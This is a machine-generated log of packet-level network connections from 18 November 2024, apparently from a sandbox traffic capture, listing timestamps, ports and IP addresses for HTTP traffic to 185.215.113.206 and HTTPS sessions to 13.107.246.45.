Nov 18, 2024 00:27:27.411654949 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.411655903 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.411655903 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.411655903 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.411876917 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.411887884 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.411931992 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.412085056 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.412097931 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.412110090 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.412142038 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.412142038 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.412471056 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.412482023 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.412539959 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.412539959 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.485050917 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.485064983 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.485172033 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.486464977 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.486521006 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.486527920 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.486561060 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.486572027 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.486613989 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.486625910 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.486640930 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.486659050 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.486671925 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.486675978 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.486701012 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.486701012 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.486737013 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.487308979 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.487365007 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.487380028 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.487395048 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.487396955 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.487396955 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.487410069 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.487418890 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.487438917 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.487467051 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.527309895 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.527339935 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.527354002 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.527362108 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.527379036 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.527394056 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.527468920 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.527468920 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.527673006 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.527729988 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.527736902 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.527764082 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.527802944 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.527802944 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.549263000 CET	443	49763	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.550007105 CET	49763	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.550035954 CET	443	49763	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.550542116 CET	49763	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.550554991 CET	443	49763	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.561501026 CET	443	49764	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.561980963 CET	49764	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.562000036 CET	443	49764	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.562598944 CET	49764	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.562603951 CET	443	49764	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.569284916 CET	443	49765	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.572491884 CET	49765	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.572515011 CET	443	49765	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.572921038 CET	49765	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.572927952 CET	443	49765	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.601110935 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.601131916 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.601206064 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.601779938 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.601860046 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.601885080 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.601897001 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.601957083 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.601957083 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.601957083 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.602022886 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.602111101 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.602138042 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.602153063 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.602175951 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.602175951 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.602193117 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.602204084 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.602252960 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.602665901 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.602679014 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.602693081 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.602722883 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.602722883 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.603044033 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.603059053 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.603070974 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.603094101 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.603125095 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.642956018 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.642972946 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.642987013 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.643013000 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.643028021 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.643049955 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.643066883 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.643130064 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.643142939 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.643158913 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.643191099 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.643191099 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.643191099 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.643191099 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.643191099 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.643244028 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.684869051 CET	443	49763	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.685090065 CET	443	49763	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.685153008 CET	49763	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.685261011 CET	49763	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.685297966 CET	443	49763	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.685324907 CET	49763	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.685338974 CET	443	49763	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.688298941 CET	443	49764	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.688484907 CET	443	49764	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.688539982 CET	49764	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.688635111 CET	49764	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.688647032 CET	443	49764	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.688664913 CET	49764	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.688669920 CET	443	49764	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.688983917 CET	49768	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.689033985 CET	443	49768	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.689219952 CET	49768	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.689337015 CET	49768	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.689343929 CET	443	49768	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.690977097 CET	49769	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.691020012 CET	443	49769	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.691085100 CET	49769	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.691231966 CET	49769	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.691247940 CET	443	49769	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.699522018 CET	443	49765	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.699676991 CET	443	49765	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.699733019 CET	49765	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.700695038 CET	49765	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.700709105 CET	443	49765	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.700721979 CET	49765	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.700726032 CET	443	49765	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.704149008 CET	49770	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.704180956 CET	443	49770	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.704236031 CET	49770	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.704576015 CET	49770	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.704592943 CET	443	49770	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.717219114 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.717236996 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.717302084 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.717302084 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.717323065 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.717335939 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.717396975 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.717396975 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.717463017 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.717474937 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.717503071 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.717534065 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.717720985 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.717736006 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.717751026 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.717766047 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.717768908 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.717798948 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.717824936 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.718244076 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.718297005 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.718302965 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.718338013 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.718473911 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.718487978 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.718502045 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.718514919 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.718518019 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.718545914 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.718575001 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.758174896 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.758207083 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.758214951 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.758317947 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.758332968 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.758347034 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.758359909 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.758399963 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.758399963 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.758399963 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.758399963 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.758810043 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.758832932 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.758848906 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.758852959 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.758862019 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.758866072 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.758876085 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.758878946 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.758891106 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.758913994 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.832848072 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.832863092 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.832875967 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.832990885 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.833003044 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.833026886 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.833065987 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.833066940 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.833066940 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.833066940 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.833066940 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.833108902 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.833120108 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.833159924 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.833159924 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.833159924 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.833206892 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.833762884 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.833774090 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.833786011 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.833817005 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.833817959 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.833837986 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.833868027 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.841628075 CET	443	49767	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.842149019 CET	49767	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.842207909 CET	443	49767	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.842740059 CET	49767	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.842745066 CET	443	49767	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.844429970 CET	443	49766	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.844790936 CET	49766	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.844803095 CET	443	49766	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.845177889 CET	49766	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.845184088 CET	443	49766	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.873795033 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.873830080 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.873843908 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.873897076 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.873899937 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.873899937 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.873908997 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.873946905 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.873955965 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.874082088 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.874115944 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.874141932 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.874145985 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.874156952 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.874181032 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.874439001 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.874452114 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.874481916 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.874485970 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.874492884 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.874511957 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.874522924 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.874526978 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.874567032 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.874655962 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.948286057 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.948299885 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.948312044 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.948355913 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.948400974 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.948518991 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.948535919 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.948549032 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.948565006 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.948589087 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.948594093 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.948636055 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.948869944 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.948879957 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.948892117 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.948903084 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.948920965 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.948945045 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.949944973 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.949954987 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.950030088 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.950031042 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.972954988 CET	443	49767	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.973016977 CET	443	49767	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.973069906 CET	49767	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.973490000 CET	49767	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.973500967 CET	443	49767	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.973510027 CET	49767	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.973515034 CET	443	49767	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.975300074 CET	443	49766	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.975379944 CET	443	49766	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.975428104 CET	49766	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.975584984 CET	49766	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.975594997 CET	443	49766	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.975609064 CET	49766	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.975614071 CET	443	49766	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.980423927 CET	49771	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.980468988 CET	443	49771	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.980535984 CET	49771	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.981604099 CET	49771	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.981622934 CET	443	49771	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.982038975 CET	49772	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.982064962 CET	443	49772	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.982199907 CET	49772	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.982229948 CET	49772	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.982235909 CET	443	49772	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.989204884 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.989234924 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.989247084 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.989278078 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.989295959 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.989310980 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.989329100 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.989331961 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.989331961 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.989352942 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.989379883 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.989816904 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.989845037 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.989865065 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.989870071 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.989896059 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.989912987 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.990056038 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.990103006 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.990107059 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.990123034 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.990143061 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.990158081 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.990158081 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.990180016 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.990525007 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.990575075 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.990588903 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.990602970 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.990617990 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.990633011 CET	49741	80	192.168.2.6	185.215.113.206
